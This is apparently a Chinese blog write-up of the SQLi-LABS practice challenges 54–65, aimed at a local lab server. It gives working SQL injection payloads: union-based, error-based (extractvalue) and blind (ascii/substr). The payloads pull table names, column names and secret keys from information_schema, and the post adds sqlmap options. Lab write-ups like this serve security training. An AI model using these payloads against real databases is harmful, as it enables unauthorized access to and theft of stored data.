SQLi-LABS (Challenges) 54-65关
John_Frod Lv4

SQLi-LABS (Challenges) 54-65关

这一系列的关卡都有个限制,对我们之前所学的知识进行更深层次的运用。

Less-54

这一关的数据库每10次查询后会自动重置随机生成新的表名和列名数据,需要我我们在10次尝试以内得出 secret key 。

联合注入

这里再重新演示一次正常的联合注入流程

  • 判断闭合方式和参数数据类型
1
2
http://192.168.91.134/sqli-labs/Less-54/?id=1	正常
http://192.168.91.134/sqli-labs/Less-54/?id=1' 没有返回

从这2步可以看出,这里是字符型的参数,并且闭合方式一定是'$id'或者('$id')两者之一。

  • 判断字段数
1
2
?id=1' order by 3--+	正常
?id=1' order by 4--+ 没有返回

得出查询返回的字段数有3个

  • 查询有可注入的字段
1
?id=-1' union select 1,2,3 --+

image-20210306152449878

可见字段2,3是可以显示出来的。

  • 查询表名
1
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()) --+

image-20210306152613507

可知表名为 ttyxbfpvca

  • 查询字段名
1
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='ttyxbfpvca') --+

image-20210306152822385

查到有 id、sessid、secret_IVAU、tryy 这些字段

  • 查询数据
1
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(secret_IVAU)+FROM+ttyxbfpvca) --+

image-20210306153106710

拿到 secret key 值为:J1rzyGdPRiKwK5I4iaNlCwuT

Less-55

这一关和 Less-54 基本一致,给了14次机会,闭合方式改为了($id)

Less-56

这一关和 Less-54 相比只是闭合方式换成了('$id'),给了14次机会。

Less-57

这一关和 Less-54 基本一致,给了14次机会,闭合方式改为了"$id"

Less-58

这一关只给了5次机会,当然如果知道了要使用什么注入方法后也能绰绰有余

  • 查看代码
1
2
3
4
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = ($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];

这里查询成功只给你回显预定数组里面的数据,并不是直接回显查询结果,因此无法使用联合注入,我们可以尝试报错注入。

报错注入

这里再演示一次报错注入:

  • 查询表名
1
?id=-1' and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))--+

image-20210306155346027

得知表名为:7dvdblb1tl

  • 查询字段名
1
?id=-1' and (select extractvalue(1,concat(0x7e,(select group_concat(column_name+SEPARATOR+0x3c62723e) from information_schema.columns where table_name='7dvdblb1tl'),0x7e)))--+

image-20210306155750151

由于报错注入回显的字符数有限,如果想要后面的信息,可以加 limit 来限制数量

这我们已经可以知道想要的字段名为:secret_UPZ7

  • 查询数据
1
?id=-1' and (select extractvalue(1,concat(0x7e,(select secret_UPZ7 from 7dvdblb1tl),0x7e)))--+

得到 secret key 为: JrOfRpU234sYeim4AJuv6zVw

Less-59

本关与 Less-58 的思路一样,只是参数的数据类型换成了数字型。

Less-60

本关与 Less-58 的思路一样,只是闭合方式改为了("$id")

Less-61

本关与 Less-58 的思路一样,只是闭合方式改为了(('$id'))

Less-62

这一关把错误信息显示也屏蔽了,因此只能使用盲注了,由于盲注需要尝试的步骤也比较多,因此这里也给出了130次的机会。同时应该注意到这里的闭合方式为('$id')

1
http://192.168.91.134/sqli-labs/Less-62/index.php/?id=1') and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 1--+

这里给出sqlmap的结果,注意如果已经运行过一次的话第二次需要清除缓存和cookie

1
--flush-session --fresh-queries

image-20210306172703280

Less-63

与 Less-62 注入方式一致,只是闭合方式为'$id'

Less-64

与 Less-62 注入方式一致,只是闭合方式为(($id))

Less-65

与 Less-62 注入方式一致,只是闭合方式为("$di")

参考资料

  • Post title:SQLi-LABS (Challenges) 54-65关
  • Post author:John_Frod
  • Create time:2021-03-07 18:59:21
  • Post link:https://keep.xpoet.cn/2021/03/07/SQLi-LABS (Challenges) 54-65关/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.